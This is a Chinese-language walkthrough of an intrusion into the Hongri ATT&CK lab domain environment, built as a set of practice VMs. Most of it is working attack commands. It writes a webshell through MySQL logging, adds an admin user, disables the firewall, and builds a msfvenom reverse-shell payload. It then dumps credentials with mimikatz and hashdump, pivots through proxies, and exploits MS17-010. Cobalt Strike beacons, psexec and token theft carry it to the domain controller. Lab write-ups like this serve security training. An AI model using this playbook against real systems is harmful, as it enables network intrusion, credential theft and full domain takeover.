1、下载好镜像文件。
2、直接vmware启动即可。
这里我用自己的win10虚拟机作为攻击机,设置为双网卡NAT,vm2(192.168.234.131)
设置win7为双网卡,vm1(192.168.52.143),vm2(192.168.234.130)
设置win08单网卡vm1(192.168.52.138),win2k3为单网卡vm1(192.168.52.141)
这样win10就可以访问win7,但不能直接访问win08和win2k3。
三台靶机的初始密码都是hongrisec@2019 ,初次登录需要改密码。
进入win7,开启web服务。
1、简单地扫描下一win7端口
2、访问80端口是一个phpstudy探针,扫描一下目录,发现一个phpmyadmin目录和beifen.rar文件。
直接root/root就可以进入。
直接写马不行,版本高,用mysql日志写shell就行,绝对路径在探针上有显示。
set global general_log = "ON";
set global general_log_file = "C:/phpStudy/www/test.php";
SELECT ''
4、使用antsword连接一下。
加用户
net user 账户 密码 /add
管理员权限,所有直接加
net localgroup administrators admin /add
关防火墙
netsh advfirewall show allprofile state
netsh advfirewall set allprofiles state off
参考:https://blog.csdn.net/qq_41821603/article/details/109948920
netsh advfirewall show allprofile state
netsh advfirewall set allprofiles state off
antsword执行以下命令,msf上线一下
msfvenom -p windows/meterpreter_reverse_tcp LHOST=ip LPORT=4444 -f exe -o shell.exe
use exploit/mutli/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost ip
set lport 4444
exploit -j(后台)允许
蚁剑上传木马,获取sessions
一般是explorer.exe
migrate pid
load mimikatz 加载mimikatz 模块,然后wdigest 查看明文密码,成功获取
execute -f cmd.exe -i -t
用chcp 65001解决
run post/windows/manage/enable_rdp
rdesktop ip:3389
net config workstation 查看是否有域,以及当前登录域
net view 查看域内主机列表
查看域控:
net group "domain controllers" /domain 查看域控制器(如果有多台)
net user /domain 查看域内所有域用户
net group "domain admins" /domain 查看域管理员列表
域名为 god
域中有三台主机:
stu1.god.org
root-tvi862ubeh.god.org
owa.god.org 为域控
域用户有 : ligang , liukaifeng01 ,administrator
域管理员只有一个: administrator
其实直接就拿到域管理员了
先进入sessions
run autoroute -s 192.168.52.0/24
或者
run post/multi/manage/autoroute
设置proxychains代理
use auxiliary/server/socks4a
set srvport 1080
set srvhost 127.0.0.1
run
然后vim /etc/proxychains.conf 修改proxychains 配置为:
即可通过代理扫描,发现扫描不成功,
百度发现可以这样,拿msf的直接代理扫。发现很慢,
前提:拿下边界机之后,进入内网,想用nmap怎么办? CS可以开启代理,但是是socks4的代理,只能使用tcp协议,所以nmap使用的时候要使用-sT选择使用tcp协议,要使用-Pn不使用ICMP的ping确认主机存活
解决问题,直接挂代理扫
结果,发现445
扫描ms17-010
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
set rhost 10.37.129.7
run
注意lhost是跳板机的ip
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set lport 5555
set lhost 192.168.52.143
set rhosts 192.168.52.138
exploit
另一台windows2003也开了445,发现只有
exploit/windows/smb/ms17_010_psexec
或者
auxiliary/admin/smb/ms17_010_command
一句话一句话的添加用户
能用,这里用第二个
扫管道
use auxiliary/scanner/smb/pipe_auditor
use exploit/windows/smb/ms17_010_psexec
设置管道
set payload windows/meterpreter/bind_tcp
https://blog.csdn.net/weixin_33969116/article/details/91833739?utm_medium=distribute.pc_relevant.none-task-blog-2defaultbaidujs_title~default-0.control&spm=1001.2101.3001.4242
https://blog.csdn.net/qq_41891666/article/details/107598979
空连接需要口令用户名为空
https://zhuanlan.zhihu.com/p/43643596
最后需要用户点击
webshell反弹
shell给
cs,
cs创建
Listener,
payload选择
beacon http
然后攻击 -> 生成后门 -> Windows Executable(S)
,选择刚创建的 Listener
:
启动
./cobaltstrike
./teamserver 192.168.85.128(ip,不能0.0.0.0 ,127.0.0.1) admin(密码)
设置监听
生成exe
拿到 shell
第一步,调低心跳值,默认心跳为 60s
,执行命令的响应很慢
我这是自己的内网且没有杀软我就设置为 0 了,真实环境不要设置这么低
进入 beacon
执行 sleep 0
,然后查看下基本的本机信息:
whoami`、`hostname`、`net user`、`net localgroup administrators
众所周知 systeminfo
可以查看系统详细信息,我就不展示,提供两个小 tips
:
查看是什么操作系统 & 系统版本: 系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%
查询已安装的软件及版本信息:wmic product get name,version
在 win10
中,输入 wmic /?
会提示 wmic
已弃用,但在 server2012R2
,win7
等版本中可以正常使用
powershell
中可替代该命令的是 Get-WmiObject
:
Get-WmiObject -class win32_product | Select-Object -property name,version
查询进程及服务: tasklist
,默认显示映像名称,PID,会话名,会话,内存使用
默认显示映像名称,PID,服务
wmic process list brief
常见的杀软进程:
进程名 | 软件 |
---|---|
360sd.exe | 360 杀毒 |
360tray.exe | 360 实时保护 |
ZhuDongFangYu.exe | 360 主动防御 |
KSafeTray.exe | 金山卫士 |
SafeDogUpdateCenter.exe | 安全狗 |
McAfee | McShield.exe |
egui.exe | NOD32 |
AVP.exe | 卡巴斯基 |
avguard.exe | 小红伞 |
bdagent.exe | BitDefender |
获取到一个 cs
的 beacon
后可以目标内网情况和端口开放情况
在 beacon
上右键 -> 目标 -> 选择 net view
或者 port scan
:
执行后可以在 Targets
选项卡看到扫描出来的主机:
用 cs
的 hashdump
读内存密码:hashdump
,用 mimikatz
读注册表密码:logonpasswords
在凭证信息一栏可以清楚查看:
如果权限不够可以提权,提权插件:ElevateKit
额外增加 ms14-058
、ms15-051
、ms16-016
、uac-schtasks
四种提权方式
抓取密码后可以先探测内网其他主机:
ping
方法:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.72.%I | findstr "TTL="
最简单的直接 arp -a
查看也可以,这里还推荐一个好用工具 Ladon
Ladon
作者是 k8gege
,它是一个大型内网渗透扫描器并且支持 cs
脚本形式
cs
要使用的话只需要下载其中的 Ladon.exe
和 Ladon.cna
即可运行基本功能
详细功能参考官方 wiki
或官方说明文档
扫描网段内存活主机信息:Ladon 192.168.72.0/24 OsScan
Ladon` 还有很多使用功能,比如扫描 `MS17-010`:`Ladon 192.168.72.0/24 MS17010
其他的功能可以自己去尝试
域探测差不多了还可以使用 BloodHound
这款域渗透分析工具来分析攻击路径
BloodHound 介绍:
BloodHound 是一种单页的 JavaScript 的 Web 应用程序,构建在 Linkurious 上,用 Electron 编译,NEO4J 数据库 PowerShell/C# ingestor.BloodHound 使用可视化图来显示 Active Directory 环境中隐藏的和相关联的主机内容。攻击者可以使用 BloodHound 轻松识别高度复杂的攻击路径,否则很难快速识别。防御者可以使用 BloodHound 来识别和防御那些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松深入了解 Active Directory 环境中的权限关系。
这里有很多种方式,可以:
另外这里还要介绍下 cs
派生 SMB Beacon
SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效
简单来说,SMB Beacon 有两种方式
第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash
新建一个 Listener
,payload
设置为 Beacon SMB
:
我用的是 4.0
版本,之前的 3.14
版本和这个可能会有微小差异
在已有的 Beacon上
右键 Spawn
(生成会话 / 派生),选择创建的 smb beacon
的 listerner
:
选择后会反弹一个子会话,在 external
的 ip
后面会有一个链接的小图标:
这就是派生的 SMB Beacon
,当前没有连接
可以在主 Beacon
上用 link host
连接它,或者 unlink host 断开它
第二种在已有的 beacon 上创建监听,用来作为跳板进行内网穿透
前提是能够通过 shell 之类访问到内网其他主机
前面横向探测已经获取到内网内的其他 Targets
以及读取到的凭证信息
于是可以尝试使用 psexec
模块登录其他主机
右键选择一台非域控主机 ROOT-TVI862UBEH
的 psexec
模块:
在弹出的窗口中选择使用 god.org
的 Administrator
的凭证信息
监听器选择刚才创建的 smb beacon
,会话也选择对应的 smb beacon
的会话:
执行后效果如下:
可以看到分别执行了
rev2self
make_token GOD.ORG\Administrator hongrisec@2020
jump psexec ROOT-TVI862UBEH smb
这几条命令,执行后得到了 ROOT-TVI862UBEH
这台主机的 beacon
如法炮制得到了域控主机 OWA
的 beacon
:
最终的图标视图如图所示:
除了直接使用获取到的 hash
值,也可以直接窃取 GOD\Administrator
的 token
来登录其他主机
选择 beacon
右键 -> 目标 -> 进程列表
选择 GOD\Administrator
的 token
盗取:
然后在选择令牌处勾选使用当前 token
即可:
效果和前面是一样的